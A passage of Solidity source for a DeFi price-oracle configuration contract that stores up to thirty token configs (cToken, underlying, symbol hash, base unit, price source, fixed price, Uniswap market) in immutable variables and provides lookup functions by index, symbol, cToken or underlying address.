address internal immutable underlying29;
bytes32 internal immutable symbolHash00;
bytes32 internal immutable symbolHash01;
bytes32 internal immutable symbolHash02;
bytes32 internal immutable symbolHash03;
bytes32 internal immutable symbolHash04;
bytes32 internal immutable symbolHash05;
bytes32 internal immutable symbolHash06;
bytes32 internal immutable symbolHash07;
bytes32 internal immutable symbolHash08;
bytes32 internal immutable symbolHash09;
bytes32 internal immutable symbolHash10;
bytes32 internal immutable symbolHash11;
bytes32 internal immutable symbolHash12;
bytes32 internal immutable symbolHash13;
bytes32 internal immutable symbolHash14;
bytes32 internal immutable symbolHash15;
bytes32 internal immutable symbolHash16;
bytes32 internal immutable symbolHash17;
bytes32 internal immutable symbolHash18;
bytes32 internal immutable symbolHash19;
bytes32 internal immutable symbolHash20;
bytes32 internal immutable symbolHash21;
bytes32 internal immutable symbolHash22;
bytes32 internal immutable symbolHash23;
bytes32 internal immutable symbolHash24;
bytes32 internal immutable symbolHash25;
bytes32 internal immutable symbolHash26;
bytes32 internal immutable symbolHash27;
bytes32 internal immutable symbolHash28;
bytes32 internal immutable symbolHash29;
uint256 internal immutable baseUnit00;
uint256 internal immutable baseUnit01;
uint256 internal immutable baseUnit02;
uint256 internal immutable baseUnit03;
uint256 internal immutable baseUnit04;
uint256 internal immutable baseUnit05;
uint256 internal immutable baseUnit06;
uint256 internal immutable baseUnit07;
uint256 internal immutable baseUnit08;
uint256 internal immutable baseUnit09;
uint256 internal immutable baseUnit10;
uint256 internal immutable baseUnit11;
uint256 internal immutable baseUnit12;
uint256 internal immutable baseUnit13;
uint256 internal immutable baseUnit14;
uint256 internal immutable baseUnit15;
uint256 internal immutable baseUnit16;
uint256 internal immutable baseUnit17;
uint256 internal immutable baseUnit18;
uint256 internal immutable baseUnit19;
uint256 internal immutable baseUnit20;
uint256 internal immutable baseUnit21;
uint256 internal immutable baseUnit22;
uint256 internal immutable baseUnit23;
uint256 internal immutable baseUnit24;
uint256 internal immutable baseUnit25;
uint256 internal immutable baseUnit26;
uint256 internal immutable baseUnit27;
uint256 internal immutable baseUnit28;
uint256 internal immutable baseUnit29;
PriceSource internal immutable priceSource00;
PriceSource internal immutable priceSource01;
PriceSource internal immutable priceSource02;
PriceSource internal immutable priceSource03;
PriceSource internal immutable priceSource04;
PriceSource internal immutable priceSource05;
PriceSource internal immutable priceSource06;
PriceSource internal immutable priceSource07;
PriceSource internal immutable priceSource08;
PriceSource internal immutable priceSource09;
PriceSource internal immutable priceSource10;
PriceSource internal immutable priceSource11;
PriceSource internal immutable priceSource12;
PriceSource internal immutable priceSource13;
PriceSource internal immutable priceSource14;
PriceSource internal immutable priceSource15;
PriceSource internal immutable priceSource16;
PriceSource internal immutable priceSource17;
PriceSource internal immutable priceSource18;
PriceSource internal immutable priceSource19;
PriceSource internal immutable priceSource20;
PriceSource internal immutable priceSource21;
PriceSource internal immutable priceSource22;
PriceSource internal immutable priceSource23;
PriceSource internal immutable priceSource24;
PriceSource internal immutable priceSource25;
PriceSource internal immutable priceSource26;
PriceSource internal immutable priceSource27;
PriceSource internal immutable priceSource28;
PriceSource internal immutable priceSource29;
uint256 internal immutable fixedPrice00;
uint256 internal immutable fixedPrice01;
uint256 internal immutable fixedPrice02;
uint256 internal immutable fixedPrice03;
uint256 internal immutable fixedPrice04;
uint256 internal immutable fixedPrice05;
uint256 internal immutable fixedPrice06;
uint256 internal immutable fixedPrice07;
uint256 internal immutable fixedPrice08;
uint256 internal immutable fixedPrice09;
uint256 internal immutable fixedPrice10;
uint256 internal immutable fixedPrice11;
uint256 internal immutable fixedPrice12;
uint256 internal immutable fixedPrice13;
uint256 internal immutable fixedPrice14;
uint256 internal immutable fixedPrice15;
uint256 internal immutable fixedPrice16;
uint256 internal immutable fixedPrice17;
uint256 internal immutable fixedPrice18;
uint256 internal immutable fixedPrice19;
uint256 internal immutable fixedPrice20;
uint256 internal immutable fixedPrice21;
uint256 internal immutable fixedPrice22;
uint256 internal immutable fixedPrice23;
uint256 internal immutable fixedPrice24;
uint256 internal immutable fixedPrice25;
uint256 internal immutable fixedPrice26;
uint256 internal immutable fixedPrice27;
uint256 internal immutable fixedPrice28;
uint256 internal immutable fixedPrice29;
address internal immutable uniswapMarket00;
address internal immutable uniswapMarket01;
address internal immutable uniswapMarket02;
address internal immutable uniswapMarket03;
address internal immutable uniswapMarket04;
address internal immutable uniswapMarket05;
address internal immutable uniswapMarket06;
address internal immutable uniswapMarket07;
address internal immutable uniswapMarket08;
address internal immutable uniswapMarket09;
address internal immutable uniswapMarket10;
address internal immutable uniswapMarket11;
address internal immutable uniswapMarket12;
address internal immutable uniswapMarket13;
address internal immutable uniswapMarket14;
address internal immutable uniswapMarket15;
address internal immutable uniswapMarket16;
address internal immutable uniswapMarket17;
address internal immutable uniswapMarket18;
address internal immutable uniswapMarket19;
address internal immutable uniswapMarket20;
address internal immutable uniswapMarket21;
address internal immutable uniswapMarket22;
address internal immutable uniswapMarket23;
address internal immutable uniswapMarket24;
address internal immutable uniswapMarket25;
address internal immutable uniswapMarket26;
address internal immutable uniswapMarket27;
address internal immutable uniswapMarket28;
address internal immutable uniswapMarket29;
bool internal immutable isUniswapReversed00;
bool internal immutable isUniswapReversed01;
bool internal immutable isUniswapReversed02;
bool internal immutable isUniswapReversed03;
bool internal immutable isUniswapReversed04;
bool internal immutable isUniswapReversed05;
bool internal immutable isUniswapReversed06;
bool internal immutable isUniswapReversed07;
bool internal immutable isUniswapReversed08;
bool internal immutable isUniswapReversed09;
bool internal immutable isUniswapReversed10;
bool internal immutable isUniswapReversed11;
bool internal immutable isUniswapReversed12;
bool internal immutable isUniswapReversed13;
bool internal immutable isUniswapReversed14;
bool internal immutable isUniswapReversed15;
bool internal immutable isUniswapReversed16;
bool internal immutable isUniswapReversed17;
bool internal immutable isUniswapReversed18;
bool internal immutable isUniswapReversed19;
bool internal immutable isUniswapReversed20;
bool internal immutable isUniswapReversed21;
bool internal immutable isUniswapReversed22;
bool internal immutable isUniswapReversed23;
bool internal immutable isUniswapReversed24;
bool internal immutable isUniswapReversed25;
bool internal immutable isUniswapReversed26;
bool internal immutable isUniswapReversed27;
bool internal immutable isUniswapReversed28;
bool internal immutable isUniswapReversed29;
/**
* @notice Construct an immutable store of configs into the contract data
* @param configs The configs for the supported assets
*/
constructor(TokenConfig[] memory configs) public {
require(configs.length <= maxTokens, "too many configs");
numTokens = configs.length;
cToken00 = get(configs, 0).cToken;
cToken01 = get(configs, 1).cToken;
cToken02 = get(configs, 2).cToken;
cToken03 = get(configs, 3).cToken;
cToken04 = get(configs, 4).cToken;
cToken05 = get(configs, 5).cToken;
cToken06 = get(configs, 6).cToken;
cToken07 = get(configs, 7).cToken;
cToken08 = get(configs, 8).cToken;
cToken09 = get(configs, 9).cToken;
cToken10 = get(configs, 10).cToken;
cToken11 = get(configs, 11).cToken;
cToken12 = get(configs, 12).cToken;
cToken13 = get(configs, 13).cToken;
cToken14 = get(configs, 14).cToken;
cToken15 = get(configs, 15).cToken;
cToken16 = get(configs, 16).cToken;
cToken17 = get(configs, 17).cToken;
cToken18 = get(configs, 18).cToken;
cToken19 = get(configs, 19).cToken;
cToken20 = get(configs, 20).cToken;
cToken21 = get(configs, 21).cToken;
cToken22 = get(configs, 22).cToken;
cToken23 = get(configs, 23).cToken;
cToken24 = get(configs, 24).cToken;
cToken25 = get(configs, 25).cToken;
cToken26 = get(configs, 26).cToken;
cToken27 = get(configs, 27).cToken;
cToken28 = get(configs, 28).cToken;
cToken29 = get(configs, 29).cToken;
underlying00 = get(configs, 0).underlying;
underlying01 = get(configs, 1).underlying;
underlying02 = get(configs, 2).underlying;
underlying03 = get(configs, 3).underlying;
underlying04 = get(configs, 4).underlying;
underlying05 = get(configs, 5).underlying;
underlying06 = get(configs, 6).underlying;
underlying07 = get(configs, 7).underlying;
underlying08 = get(configs, 8).underlying;
underlying09 = get(configs, 9).underlying;
underlying10 = get(configs, 10).underlying;
underlying11 = get(configs, 11).underlying;
underlying12 = get(configs, 12).underlying;
underlying13 = get(configs, 13).underlying;
underlying14 = get(configs, 14).underlying;
underlying15 = get(configs, 15).underlying;
underlying16 = get(configs, 16).underlying;
underlying17 = get(configs, 17).underlying;
underlying18 = get(configs, 18).underlying;
underlying19 = get(configs, 19).underlying;
underlying20 = get(configs, 20).underlying;
underlying21 = get(configs, 21).underlying;
underlying22 = get(configs, 22).underlying;
underlying23 = get(configs, 23).underlying;
underlying24 = get(configs, 24).underlying;
underlying25 = get(configs, 25).underlying;
underlying26 = get(configs, 26).underlying;
underlying27 = get(configs, 27).underlying;
underlying28 = get(configs, 28).underlying;
underlying29 = get(configs, 29).underlying;
symbolHash00 = get(configs, 0).symbolHash;
symbolHash01 = get(configs, 1).symbolHash;
symbolHash02 = get(configs, 2).symbolHash;
symbolHash03 = get(configs, 3).symbolHash;
symbolHash04 = get(configs, 4).symbolHash;
symbolHash05 = get(configs, 5).symbolHash;
symbolHash06 = get(configs, 6).symbolHash;
symbolHash07 = get(configs, 7).symbolHash;
symbolHash08 = get(configs, 8).symbolHash;
symbolHash09 = get(configs, 9).symbolHash;
symbolHash10 = get(configs, 10).symbolHash;
symbolHash11 = get(configs, 11).symbolHash;
symbolHash12 = get(configs, 12).symbolHash;
symbolHash13 = get(configs, 13).symbolHash;
symbolHash14 = get(configs, 14).symbolHash;
symbolHash15 = get(configs, 15).symbolHash;
symbolHash16 = get(configs, 16).symbolHash;
symbolHash17 = get(configs, 17).symbolHash;
symbolHash18 = get(configs, 18).symbolHash;
symbolHash19 = get(configs, 19).symbolHash;
symbolHash20 = get(configs, 20).symbolHash;
symbolHash21 = get(configs, 21).symbolHash;
symbolHash22 = get(configs, 22).symbolHash;
symbolHash23 = get(configs, 23).symbolHash;
symbolHash24 = get(configs, 24).symbolHash;
symbolHash25 = get(configs, 25).symbolHash;
symbolHash26 = get(configs, 26).symbolHash;
symbolHash27 = get(configs, 27).symbolHash;
symbolHash28 = get(configs, 28).symbolHash;
symbolHash29 = get(configs, 29).symbolHash;
baseUnit00 = get(configs, 0).baseUnit;
baseUnit01 = get(configs, 1).baseUnit;
baseUnit02 = get(configs, 2).baseUnit;
baseUnit03 = get(configs, 3).baseUnit;
baseUnit04 = get(configs, 4).baseUnit;
baseUnit05 = get(configs, 5).baseUnit;
baseUnit06 = get(configs, 6).baseUnit;
baseUnit07 = get(configs, 7).baseUnit;
baseUnit08 = get(configs, 8).baseUnit;
baseUnit09 = get(configs, 9).baseUnit;
baseUnit10 = get(configs, 10).baseUnit;
baseUnit11 = get(configs, 11).baseUnit;
baseUnit12 = get(configs, 12).baseUnit;
baseUnit13 = get(configs, 13).baseUnit;
baseUnit14 = get(configs, 14).baseUnit;
baseUnit15 = get(configs, 15).baseUnit;
baseUnit16 = get(configs, 16).baseUnit;
baseUnit17 = get(configs, 17).baseUnit;
baseUnit18 = get(configs, 18).baseUnit;
baseUnit19 = get(configs, 19).baseUnit;
baseUnit20 = get(configs, 20).baseUnit;
baseUnit21 = get(configs, 21).baseUnit;
baseUnit22 = get(configs, 22).baseUnit;
baseUnit23 = get(configs, 23).baseUnit;
baseUnit24 = get(configs, 24).baseUnit;
baseUnit25 = get(configs, 25).baseUnit;
baseUnit26 = get(configs, 26).baseUnit;
baseUnit27 = get(configs, 27).baseUnit;
baseUnit28 = get(configs, 28).baseUnit;
baseUnit29 = get(configs, 29).baseUnit;
priceSource00 = get(configs, 0).priceSource;
priceSource01 = get(configs, 1).priceSource;
priceSource02 = get(configs, 2).priceSource;
priceSource03 = get(configs, 3).priceSource;
priceSource04 = get(configs, 4).priceSource;
priceSource05 = get(configs, 5).priceSource;
priceSource06 = get(configs, 6).priceSource;
priceSource07 = get(configs, 7).priceSource;
priceSource08 = get(configs, 8).priceSource;
priceSource09 = get(configs, 9).priceSource;
priceSource10 = get(configs, 10).priceSource;
priceSource11 = get(configs, 11).priceSource;
priceSource12 = get(configs, 12).priceSource;
priceSource13 = get(configs, 13).priceSource;
priceSource14 = get(configs, 14).priceSource;
priceSource15 = get(configs, 15).priceSource;
priceSource16 = get(configs, 16).priceSource;
priceSource17 = get(configs, 17).priceSource;
priceSource18 = get(configs, 18).priceSource;
priceSource19 = get(configs, 19).priceSource;
priceSource20 = get(configs, 20).priceSource;
priceSource21 = get(configs, 21).priceSource;
priceSource22 = get(configs, 22).priceSource;
priceSource23 = get(configs, 23).priceSource;
priceSource24 = get(configs, 24).priceSource;
priceSource25 = get(configs, 25).priceSource;
priceSource26 = get(configs, 26).priceSource;
priceSource27 = get(configs, 27).priceSource;
priceSource28 = get(configs, 28).priceSource;
priceSource29 = get(configs, 29).priceSource;
fixedPrice00 = get(configs, 0).fixedPrice;
fixedPrice01 = get(configs, 1).fixedPrice;
fixedPrice02 = get(configs, 2).fixedPrice;
fixedPrice03 = get(configs, 3).fixedPrice;
fixedPrice04 = get(configs, 4).fixedPrice;
fixedPrice05 = get(configs, 5).fixedPrice;
fixedPrice06 = get(configs, 6).fixedPrice;
fixedPrice07 = get(configs, 7).fixedPrice;
fixedPrice08 = get(configs, 8).fixedPrice;
fixedPrice09 = get(configs, 9).fixedPrice;
fixedPrice10 = get(configs, 10).fixedPrice;
fixedPrice11 = get(configs, 11).fixedPrice;
fixedPrice12 = get(configs, 12).fixedPrice;
fixedPrice13 = get(configs, 13).fixedPrice;
fixedPrice14 = get(configs, 14).fixedPrice;
fixedPrice15 = get(configs, 15).fixedPrice;
fixedPrice16 = get(configs, 16).fixedPrice;
fixedPrice17 = get(configs, 17).fixedPrice;
fixedPrice18 = get(configs, 18).fixedPrice;
fixedPrice19 = get(configs, 19).fixedPrice;
fixedPrice20 = get(configs, 20).fixedPrice;
fixedPrice21 = get(configs, 21).fixedPrice;
fixedPrice22 = get(configs, 22).fixedPrice;
fixedPrice23 = get(configs, 23).fixedPrice;
fixedPrice24 = get(configs, 24).fixedPrice;
fixedPrice25 = get(configs, 25).fixedPrice;
fixedPrice26 = get(configs, 26).fixedPrice;
fixedPrice27 = get(configs, 27).fixedPrice;
fixedPrice28 = get(configs, 28).fixedPrice;
fixedPrice29 = get(configs, 29).fixedPrice;
uniswapMarket00 = get(configs, 0).uniswapMarket;
uniswapMarket01 = get(configs, 1).uniswapMarket;
uniswapMarket02 = get(configs, 2).uniswapMarket;
uniswapMarket03 = get(configs, 3).uniswapMarket;
uniswapMarket04 = get(configs, 4).uniswapMarket;
uniswapMarket05 = get(configs, 5).uniswapMarket;
uniswapMarket06 = get(configs, 6).uniswapMarket;
uniswapMarket07 = get(configs, 7).uniswapMarket;
uniswapMarket08 = get(configs, 8).uniswapMarket;
uniswapMarket09 = get(configs, 9).uniswapMarket;
uniswapMarket10 = get(configs, 10).uniswapMarket;
uniswapMarket11 = get(configs, 11).uniswapMarket;
uniswapMarket12 = get(configs, 12).uniswapMarket;
uniswapMarket13 = get(configs, 13).uniswapMarket;
uniswapMarket14 = get(configs, 14).uniswapMarket;
uniswapMarket15 = get(configs, 15).uniswapMarket;
uniswapMarket16 = get(configs, 16).uniswapMarket;
uniswapMarket17 = get(configs, 17).uniswapMarket;
uniswapMarket18 = get(configs, 18).uniswapMarket;
uniswapMarket19 = get(configs, 19).uniswapMarket;
uniswapMarket20 = get(configs, 20).uniswapMarket;
uniswapMarket21 = get(configs, 21).uniswapMarket;
uniswapMarket22 = get(configs, 22).uniswapMarket;
uniswapMarket23 = get(configs, 23).uniswapMarket;
uniswapMarket24 = get(configs, 24).uniswapMarket;
uniswapMarket25 = get(configs, 25).uniswapMarket;
uniswapMarket26 = get(configs, 26).uniswapMarket;
uniswapMarket27 = get(configs, 27).uniswapMarket;
uniswapMarket28 = get(configs, 28).uniswapMarket;
uniswapMarket29 = get(configs, 29).uniswapMarket;
isUniswapReversed00 = get(configs, 0).isUniswapReversed;
isUniswapReversed01 = get(configs, 1).isUniswapReversed;
isUniswapReversed02 = get(configs, 2).isUniswapReversed;
isUniswapReversed03 = get(configs, 3).isUniswapReversed;
isUniswapReversed04 = get(configs, 4).isUniswapReversed;
isUniswapReversed05 = get(configs, 5).isUniswapReversed;
isUniswapReversed06 = get(configs, 6).isUniswapReversed;
isUniswapReversed07 = get(configs, 7).isUniswapReversed;
isUniswapReversed08 = get(configs, 8).isUniswapReversed;
isUniswapReversed09 = get(configs, 9).isUniswapReversed;
isUniswapReversed10 = get(configs, 10).isUniswapReversed;
isUniswapReversed11 = get(configs, 11).isUniswapReversed;
isUniswapReversed12 = get(configs, 12).isUniswapReversed;
isUniswapReversed13 = get(configs, 13).isUniswapReversed;
isUniswapReversed14 = get(configs, 14).isUniswapReversed;
isUniswapReversed15 = get(configs, 15).isUniswapReversed;
isUniswapReversed16 = get(configs, 16).isUniswapReversed;
isUniswapReversed17 = get(configs, 17).isUniswapReversed;
isUniswapReversed18 = get(configs, 18).isUniswapReversed;
isUniswapReversed19 = get(configs, 19).isUniswapReversed;
isUniswapReversed20 = get(configs, 20).isUniswapReversed;
isUniswapReversed21 = get(configs, 21).isUniswapReversed;
isUniswapReversed22 = get(configs, 22).isUniswapReversed;
isUniswapReversed23 = get(configs, 23).isUniswapReversed;
isUniswapReversed24 = get(configs, 24).isUniswapReversed;
isUniswapReversed25 = get(configs, 25).isUniswapReversed;
isUniswapReversed26 = get(configs, 26).isUniswapReversed;
isUniswapReversed27 = get(configs, 27).isUniswapReversed;
isUniswapReversed28 = get(configs, 28).isUniswapReversed;
isUniswapReversed29 = get(configs, 29).isUniswapReversed;
}
function get(TokenConfig[] memory configs, uint i) internal pure returns (TokenConfig memory) {
if (i < configs.length)
return configs[i];
return TokenConfig({
cToken: address(0),
underlying: address(0),
symbolHash: bytes32(0),
baseUnit: uint256(0),
priceSource: PriceSource(0),
fixedPrice: uint256(0),
uniswapMarket: address(0),
isUniswapReversed: false
});
}
function getCTokenIndex(address cToken) internal view returns (uint) {
if (cToken == cToken00) return 0;
if (cToken == cToken01) return 1;
if (cToken == cToken02) return 2;
if (cToken == cToken03) return 3;
if (cToken == cToken04) return 4;
if (cToken == cToken05) return 5;
if (cToken == cToken06) return 6;
if (cToken == cToken07) return 7;
if (cToken == cToken08) return 8;
if (cToken == cToken09) return 9;
if (cToken == cToken10) return 10;
if (cToken == cToken11) return 11;
if (cToken == cToken12) return 12;
if (cToken == cToken13) return 13;
if (cToken == cToken14) return 14;
if (cToken == cToken15) return 15;
if (cToken == cToken16) return 16;
if (cToken == cToken17) return 17;
if (cToken == cToken18) return 18;
if (cToken == cToken19) return 19;
if (cToken == cToken20) return 20;
if (cToken == cToken21) return 21;
if (cToken == cToken22) return 22;
if (cToken == cToken23) return 23;
if (cToken == cToken24) return 24;
if (cToken == cToken25) return 25;
if (cToken == cToken26) return 26;
if (cToken == cToken27) return 27;
if (cToken == cToken28) return 28;
if (cToken == cToken29) return 29;
return uint(-1);
}
function getUnderlyingIndex(address underlying) internal view returns (uint) {
if (underlying == underlying00) return 0;
if (underlying == underlying01) return 1;
if (underlying == underlying02) return 2;
if (underlying == underlying03) return 3;
if (underlying == underlying04) return 4;
if (underlying == underlying05) return 5;
if (underlying == underlying06) return 6;
if (underlying == underlying07) return 7;
if (underlying == underlying08) return 8;
if (underlying == underlying09) return 9;
if (underlying == underlying10) return 10;
if (underlying == underlying11) return 11;
if (underlying == underlying12) return 12;
if (underlying == underlying13) return 13;
if (underlying == underlying14) return 14;
if (underlying == underlying15) return 15;
if (underlying == underlying16) return 16;
if (underlying == underlying17) return 17;
if (underlying == underlying18) return 18;
if (underlying == underlying19) return 19;
if (underlying == underlying20) return 20;
if (underlying == underlying21) return 21;
if (underlying == underlying22) return 22;
if (underlying == underlying23) return 23;
if (underlying == underlying24) return 24;
if (underlying == underlying25) return 25;
if (underlying == underlying26) return 26;
if (underlying == underlying27) return 27;
if (underlying == underlying28) return 28;
if (underlying == underlying29) return 29;
return uint(-1);
}
function getSymbolHashIndex(bytes32 symbolHash) internal view returns (uint) {
if (symbolHash == symbolHash00) return 0;
if (symbolHash == symbolHash01) return 1;
if (symbolHash == symbolHash02) return 2;
if (symbolHash == symbolHash03) return 3;
if (symbolHash == symbolHash04) return 4;
if (symbolHash == symbolHash05) return 5;
if (symbolHash == symbolHash06) return 6;
if (symbolHash == symbolHash07) return 7;
if (symbolHash == symbolHash08) return 8;
if (symbolHash == symbolHash09) return 9;
if (symbolHash == symbolHash10) return 10;
if (symbolHash == symbolHash11) return 11;
if (symbolHash == symbolHash12) return 12;
if (symbolHash == symbolHash13) return 13;
if (symbolHash == symbolHash14) return 14;
if (symbolHash == symbolHash15) return 15;
if (symbolHash == symbolHash16) return 16;
if (symbolHash == symbolHash17) return 17;
if (symbolHash == symbolHash18) return 18;
if (symbolHash == symbolHash19) return 19;
if (symbolHash == symbolHash20) return 20;
if (symbolHash == symbolHash21) return 21;
if (symbolHash == symbolHash22) return 22;
if (symbolHash == symbolHash23) return 23;
if (symbolHash == symbolHash24) return 24;
if (symbolHash == symbolHash25) return 25;
if (symbolHash == symbolHash26) return 26;
if (symbolHash == symbolHash27) return 27;
if (symbolHash == symbolHash28) return 28;
if (symbolHash == symbolHash29) return 29;
return uint(-1);
}
/**
* @notice Get the i-th config, according to the order they were passed in originally
* @param i The index of the config to get
* @return The config object
*/
function getTokenConfig(uint i) public view returns (TokenConfig memory) {
require(i < numTokens, "token config not found");
if (i == 0) return TokenConfig({cToken: cToken00, underlying: underlying00, symbolHash: symbolHash00, baseUnit: baseUnit00, priceSource: priceSource00, fixedPrice: fixedPrice00, uniswapMarket: uniswapMarket00, isUniswapReversed: isUniswapReversed00});
if (i == 1) return TokenConfig({cToken: cToken01, underlying: underlying01, symbolHash: symbolHash01, baseUnit: baseUnit01, priceSource: priceSource01, fixedPrice: fixedPrice01, uniswapMarket: uniswapMarket01, isUniswapReversed: isUniswapReversed01});
if (i == 2) return TokenConfig({cToken: cToken02, underlying: underlying02, symbolHash: symbolHash02, baseUnit: baseUnit02, priceSource: priceSource02, fixedPrice: fixedPrice02, uniswapMarket: uniswapMarket02, isUniswapReversed: isUniswapReversed02});
if (i == 3) return TokenConfig({cToken: cToken03, underlying: underlying03, symbolHash: symbolHash03, baseUnit: baseUnit03, priceSource: priceSource03, fixedPrice: fixedPrice03, uniswapMarket: uniswapMarket03, isUniswapReversed: isUniswapReversed03});
if (i == 4) return TokenConfig({cToken: cToken04, underlying: underlying04, symbolHash: symbolHash04, baseUnit: baseUnit04, priceSource: priceSource04, fixedPrice: fixedPrice04, uniswapMarket: uniswapMarket04, isUniswapReversed: isUniswapReversed04});
if (i == 5) return TokenConfig({cToken: cToken05, underlying: underlying05, symbolHash: symbolHash05, baseUnit: baseUnit05, priceSource: priceSource05, fixedPrice: fixedPrice05, uniswapMarket: uniswapMarket05, isUniswapReversed: isUniswapReversed05});
if (i == 6) return TokenConfig({cToken: cToken06, underlying: underlying06, symbolHash: symbolHash06, baseUnit: baseUnit06, priceSource: priceSource06, fixedPrice: fixedPrice06, uniswapMarket: uniswapMarket06, isUniswapReversed: isUniswapReversed06});
if (i == 7) return TokenConfig({cToken: cToken07, underlying: underlying07, symbolHash: symbolHash07, baseUnit: baseUnit07, priceSource: priceSource07, fixedPrice: fixedPrice07, uniswapMarket: uniswapMarket07, isUniswapReversed: isUniswapReversed07});
if (i == 8) return TokenConfig({cToken: cToken08, underlying: underlying08, symbolHash: symbolHash08, baseUnit: baseUnit08, priceSource: priceSource08, fixedPrice: fixedPrice08, uniswapMarket: uniswapMarket08, isUniswapReversed: isUniswapReversed08});
if (i == 9) return TokenConfig({cToken: cToken09, underlying: underlying09, symbolHash: symbolHash09, baseUnit: baseUnit09, priceSource: priceSource09, fixedPrice: fixedPrice09, uniswapMarket: uniswapMarket09, isUniswapReversed: isUniswapReversed09});
if (i == 10) return TokenConfig({cToken: cToken10, underlying: underlying10, symbolHash: symbolHash10, baseUnit: baseUnit10, priceSource: priceSource10, fixedPrice: fixedPrice10, uniswapMarket: uniswapMarket10, isUniswapReversed: isUniswapReversed10});
if (i == 11) return TokenConfig({cToken: cToken11, underlying: underlying11, symbolHash: symbolHash11, baseUnit: baseUnit11, priceSource: priceSource11, fixedPrice: fixedPrice11, uniswapMarket: uniswapMarket11, isUniswapReversed: isUniswapReversed11});
if (i == 12) return TokenConfig({cToken: cToken12, underlying: underlying12, symbolHash: symbolHash12, baseUnit: baseUnit12, priceSource: priceSource12, fixedPrice: fixedPrice12, uniswapMarket: uniswapMarket12, isUniswapReversed: isUniswapReversed12});
if (i == 13) return TokenConfig({cToken: cToken13, underlying: underlying13, symbolHash: symbolHash13, baseUnit: baseUnit13, priceSource: priceSource13, fixedPrice: fixedPrice13, uniswapMarket: uniswapMarket13, isUniswapReversed: isUniswapReversed13});
if (i == 14) return TokenConfig({cToken: cToken14, underlying: underlying14, symbolHash: symbolHash14, baseUnit: baseUnit14, priceSource: priceSource14, fixedPrice: fixedPrice14, uniswapMarket: uniswapMarket14, isUniswapReversed: isUniswapReversed14});
if (i == 15) return TokenConfig({cToken: cToken15, underlying: underlying15, symbolHash: symbolHash15, baseUnit: baseUnit15, priceSource: priceSource15, fixedPrice: fixedPrice15, uniswapMarket: uniswapMarket15, isUniswapReversed: isUniswapReversed15});
if (i == 16) return TokenConfig({cToken: cToken16, underlying: underlying16, symbolHash: symbolHash16, baseUnit: baseUnit16, priceSource: priceSource16, fixedPrice: fixedPrice16, uniswapMarket: uniswapMarket16, isUniswapReversed: isUniswapReversed16});
if (i == 17) return TokenConfig({cToken: cToken17, underlying: underlying17, symbolHash: symbolHash17, baseUnit: baseUnit17, priceSource: priceSource17, fixedPrice: fixedPrice17, uniswapMarket: uniswapMarket17, isUniswapReversed: isUniswapReversed17});
if (i == 18) return TokenConfig({cToken: cToken18, underlying: underlying18, symbolHash: symbolHash18, baseUnit: baseUnit18, priceSource: priceSource18, fixedPrice: fixedPrice18, uniswapMarket: uniswapMarket18, isUniswapReversed: isUniswapReversed18});
if (i == 19) return TokenConfig({cToken: cToken19, underlying: underlying19, symbolHash: symbolHash19, baseUnit: baseUnit19, priceSource: priceSource19, fixedPrice: fixedPrice19, uniswapMarket: uniswapMarket19, isUniswapReversed: isUniswapReversed19});
if (i == 20) return TokenConfig({cToken: cToken20, underlying: underlying20, symbolHash: symbolHash20, baseUnit: baseUnit20, priceSource: priceSource20, fixedPrice: fixedPrice20, uniswapMarket: uniswapMarket20, isUniswapReversed: isUniswapReversed20});
if (i == 21) return TokenConfig({cToken: cToken21, underlying: underlying21, symbolHash: symbolHash21, baseUnit: baseUnit21, priceSource: priceSource21, fixedPrice: fixedPrice21, uniswapMarket: uniswapMarket21, isUniswapReversed: isUniswapReversed21});
if (i == 22) return TokenConfig({cToken: cToken22, underlying: underlying22, symbolHash: symbolHash22, baseUnit: baseUnit22, priceSource: priceSource22, fixedPrice: fixedPrice22, uniswapMarket: uniswapMarket22, isUniswapReversed: isUniswapReversed22});
if (i == 23) return TokenConfig({cToken: cToken23, underlying: underlying23, symbolHash: symbolHash23, baseUnit: baseUnit23, priceSource: priceSource23, fixedPrice: fixedPrice23, uniswapMarket: uniswapMarket23, isUniswapReversed: isUniswapReversed23});
if (i == 24) return TokenConfig({cToken: cToken24, underlying: underlying24, symbolHash: symbolHash24, baseUnit: baseUnit24, priceSource: priceSource24, fixedPrice: fixedPrice24, uniswapMarket: uniswapMarket24, isUniswapReversed: isUniswapReversed24});
if (i == 25) return TokenConfig({cToken: cToken25, underlying: underlying25, symbolHash: symbolHash25, baseUnit: baseUnit25, priceSource: priceSource25, fixedPrice: fixedPrice25, uniswapMarket: uniswapMarket25, isUniswapReversed: isUniswapReversed25});
if (i == 26) return TokenConfig({cToken: cToken26, underlying: underlying26, symbolHash: symbolHash26, baseUnit: baseUnit26, priceSource: priceSource26, fixedPrice: fixedPrice26, uniswapMarket: uniswapMarket26, isUniswapReversed: isUniswapReversed26});
if (i == 27) return TokenConfig({cToken: cToken27, underlying: underlying27, symbolHash: symbolHash27, baseUnit: baseUnit27, priceSource: priceSource27, fixedPrice: fixedPrice27, uniswapMarket: uniswapMarket27, isUniswapReversed: isUniswapReversed27});
if (i == 28) return TokenConfig({cToken: cToken28, underlying: underlying28, symbolHash: symbolHash28, baseUnit: baseUnit28, priceSource: priceSource28, fixedPrice: fixedPrice28, uniswapMarket: uniswapMarket28, isUniswapReversed: isUniswapReversed28});
if (i == 29) return TokenConfig({cToken: cToken29, underlying: underlying29, symbolHash: symbolHash29, baseUnit: baseUnit29, priceSource: priceSource29, fixedPrice: fixedPrice29, uniswapMarket: uniswapMarket29, isUniswapReversed: isUniswapReversed29});
}
/**
* @notice Get the config for symbol
* @param symbol The symbol of the config to get
* @return The config object
*/
function getTokenConfigBySymbol(string memory symbol) public view returns (TokenConfig memory) {
return getTokenConfigBySymbolHash(keccak256(abi.encodePacked(symbol)));
}
/**
* @notice Get the config for the symbolHash
* @param symbolHash The keccack256 of the symbol of the config to get
* @return The config object
*/
function getTokenConfigBySymbolHash(bytes32 symbolHash) public view returns (TokenConfig memory) {
uint index = getSymbolHashIndex(symbolHash);
if (index != uint(-1)) {
return getTokenConfig(index);
}
revert("token config not found");
}
/**
* @notice Get the config for the cToken
* @dev If a config for the cToken is not found, falls back to searching for the underlying.
* @param cToken The address of the cToken of the config to get
* @return The config object
*/
function getTokenConfigByCToken(address cToken) public view returns (TokenConfig memory) {
uint index = getCTokenIndex(cToken);
if (index != uint(-1)) {
return getTokenConfig(index);
}
return getTokenConfigByUnderlying(CErc20(cToken).underlying());
}
/**
* @notice Get the config for an underlying asset
* @param underlying The address of the underlying asset of the config to get
* @return The config object
*/
function getTokenConfigByUnderlying(address underlying) public view returns (TokenConfig memory) {
uint index = getUnderlyingIndex(underlying);
if (index != uint(-1)) {
return getTokenConfig(index);
}
